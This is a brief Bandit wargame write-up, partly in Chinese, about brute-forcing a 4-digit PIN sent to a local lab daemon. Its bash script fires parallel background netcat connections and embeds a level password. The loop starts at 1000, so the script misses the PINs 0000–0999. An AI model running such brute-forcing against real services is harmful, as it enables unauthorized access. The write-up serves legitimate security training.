Bandit Wargame Level24 Writeup(brute-forcing with shell)

Bandit Level 24 → Level 25

Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

像這種暴力破解的題目要注意運用「多線程」的思想（被破解對象/環境支持），不要等到返回的信息纔開始下一個爆破。

1 #!/bin/bash
2 
3 for i in {1000..9999};
4 do
5     echo $i;
6     echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"|nc localhost 30002 >> 1.txt & #不要等待，直接放到後臺去，服務器判錯後會自動中斷連接，因此資源不會耗得很大。
7 done